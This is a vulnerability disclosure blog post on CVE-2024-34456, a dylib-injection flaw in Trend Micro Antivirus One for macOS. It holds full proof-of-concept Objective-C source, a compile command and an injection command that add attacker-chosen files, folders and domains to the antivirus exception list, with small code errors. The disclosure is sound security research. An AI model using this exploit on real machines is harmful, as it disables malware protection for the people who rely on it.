CVE-2024-34456: Trend Micro Antivirus One Dylib Injection
During a red teaming activity, we gained access to a company MacBook; the Trend Micro Antivirus One software was running and prevented us from running our tools without being detected.
So, I analyzed the software and found a misconfiguration that allow to inject a custom dylib into the application process.
The CVE-2024-34456 has been assigned to this issue, affecting Trend Micro Antivirus One version 3.10.3 and below. I reported it on February 6, 2024, and according to Trend Micro, following its resolution, the public disclosure was scheduled for today, May 6, 2024.
Trend Micro Antivirus One
Trend Micro Antivirus One is a virus cleaner that can be used to find malicious software on MacOS, it can be downloaded from the App Store.
The user can choose between the free or the paid version.
It has several functionality that can be used to scan the device, clean adwares and protect the user from malicious website.
Analysis
Using the codesign utility, we can see details about the Antivirus One application.
The hardened runtime flags are not enabled, this means that we can use the DYLD_INSERT_LIBRARIES environment variable to inject a custom dylib into the Antivirus One application. Csaba Fitzl wrote a well described blog post about this vulnerability.
The application has several interesting entitlements:
- com.apple.security.files.user-selected.read-write: a Boolean value that indicates whether the app may have read-write access to files the user has selected using an Open or Save dialog.
- com.apple.security.network.client: a Boolean value indicating whether your app may open outgoing network connections.
- com.apple.security.network.server: a Boolean value indicating whether your app may listen for incoming network connections.
This means that the application can establish and receive connections, and can read and write files selected by the user.
From the Info.plist file, we can see the Privacy keys related to Desktop, Documents, Download and the Photo Library access.
When the application is executed, it requires the Full Disk Access (FDA) to enable the deeper scanning.
As proof of concept, I tried to bypass the antivirus. However, when it comes to dylib injection, it is possible to achieve multiple actions based on what the application does.
AV Bypass
The application allows the user to specify files, folders and URLs that must not be scanned by the antivirus. In the image below we can see the “Exception List” functionality.
Using the dylib injection, we can add our own files, folders, and domains to this list. Before that, we need to figure out how the application works, let’s reverse engineering it.
Reverse Engineering
The main mach-o file seems to not have any references related to the exception list, so I tried to look for something in the framework used by the application, and luckily I found the VirusCleaner framework.
Using Hopper to reverse engineering the VirusCleaner framework we can easily find the method responsible to add object in the exception list.
There are 3 methods:
- -[VCConfig addToExceptionFiles:]
- -[VCConfig addToExceptionFolders:]
- -[VCConfig addToExceptionDomains:]
Looking at the addToExceptionFiles method we can figure out that it opens the exFiles.plist file in the path “/Users/syrion/Library/Containers/com.Trend Micro.DrSafety/Data/Library/Application Support”” and writes the exception file inside.
The other methods do the same using the exFolders.plist and exDomains.plist files in the same path.
These plists contain a list of the exceptions, for example in the image below we can see the exFile.plist content when we add a file to the exceptions.
Dylib Development
At this point we need to craft a dylib that add the exceptions, for this purpose, I want to add the following exceptions:
- The file: “/tmp/poc/proof.txt”
- The folder: :”/tmp/poc”
- The url: “https://syrion.me”
We need to import the VirusCleaner framework and use the three methods. We can dump classes and methods using the class-dump tool.
We can create our dylib as shown below.
#import <Foundation/Foundation.h>
#import <dlfcn.h>
#import <Cocoa/Cocoa.h>
@interface VCConfig : NSObject
{
NSMutableOrderedSet *_exceptionFiles;
NSMutableOrderedSet *_exceptionFolders;
NSMutableOrderedSet *_exceptionDomains;
}
+ (id)sharedInstance;
@property(retain) NSMutableOrderedSet *exceptionDomains; // @synthesize exceptionDomains=_exceptionDomains;
@property(retain) NSMutableOrderedSet *exceptionFolders; // @synthesize exceptionFolders=_exceptionFolders;
@property(retain) NSMutableOrderedSet *exceptionFiles; // @synthesize exceptionFiles=_exceptionFiles;
- (void)removeFromExceptionDomains:(id)arg1;
- (void)addToExceptionDomains:(id)arg1;
- (void)removeFromExceptionFolders:(id)arg1;
- (void)addToExceptionFolders:(id)arg1;
- (void)removeFromExceptionFile:(id)arg1;
- (void)addToExceptionFiles:(id)arg1;
- (id)init;
@end
__attribute__((constructor)) static void pwn(int argc, const char **argv) {
NSLog(@"[+] Injected to %@", [[NSBundle mainBundle] bundleIdentifier]);
NSString *virus_cleaner = @"/Applications/Antivirus One.app/Contents/Frameworks/VirusCleaner.framework/Versions/Current/VirusCleaner";
void *frameworkHandle = dlopen([virus_cleaner UTF8String], RTLD_NOW);
if (frameworkHandle) {
NSLog(@"[+] VirusCleaner Framework loaded");
Class VCConfigClass = nil;
VCConfigClass = NSClassFromString(@"VCConfig");
if (VCConfigClass == nil){
NSLog(@"[-] Error: couldn't obtain VCConfig class");
exit(-1);
}
VCConfig *info = [[VCConfigClass alloc] init];
VCConfig *info_shared = [VCConfigClass sharedInstance];
NSLog(@"[+] addToExceptionFiles");
[info_shared addToExceptionFiles:@"/tmp/poc/proof.txt"];
NSLog(@"[+] addToExceptionFolders");
[info_shared addToExceptionFolders:@"/tmp/poc"];
NSLog(@"[+] addToExceptionDomains");
[info_shared addToExceptionDomains:@"https://syrion.me"];
[task resume];
dlclose(frameworkHandle);
}
else {
NSLog(@"[-] Error: %s", dlerror());
}
}
We define the VCConfig interface and its properties and methods (from the class-dump output), then using dlopen we open the VirusCleaner framework, with NSClassFromString we get the reference to the VCConfig class, and at this point we can allocate an instance of VCConfig and call the three methods in order to add the file “/tmp/poc/proof.txt”, the folder “/tmp/poc” and the url “https://syrion.me” in the exception list.
We can compile the dylib as shown below.
gcc -dynamiclib -framework Foundation -framework AVFoundation -framework Cocoa bypass_av.m -o /tmp/bypass_av.dylib
Dylib Injection
In order to inject the dylib, we can use the following command.
open /Application/Antivirus\ One.app –-env DYLD_INSERT_LIBRARIES=/tmp/bypass_av.dylib
To make the new exception list effective we need to kill the Antivirus One application before inject our dylib or to restart it.
We need to restart Antivirus One application to make the new exception list effective, after that we can find our file, folder and url in the exception list!
Conclusion
The dylib process injection is a rather straightforward vulnerability, yet it could grant an attacker multiple capability. In this blog post, we have seen how it is possible to bypass the Antivirus One scan. However, in general, it is possible to exploit anything related to application permissions. For example, in the proof of concept I sent to Trend Micro, my dylib also made a HTTP request to the malicious URL (the one my dylib adds in the domains exception list).
Trend Micro fixed the vulnerability in Antivirus One Version 3.10.4, and the CVE-2024-34456 was assigned to the vulnerability.
The AV bypass could also be exploited in an easier way, but for the purpose of this blog post, I was interested in demonstrating the use of dylib injection to achieve this goal.
References
- https://www.cve.org/CVERecord?id=CVE-2024-34456
- https://helpcenter.trendmicro.com/en-us/article/tmka-18372
- https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
- https://wojciechregula.blog/post/macos-red-teaming-bypass-tcc-with-old-apps/
- https://developer.apple.com/documentation/security/hardened_runtime?langua&language=objc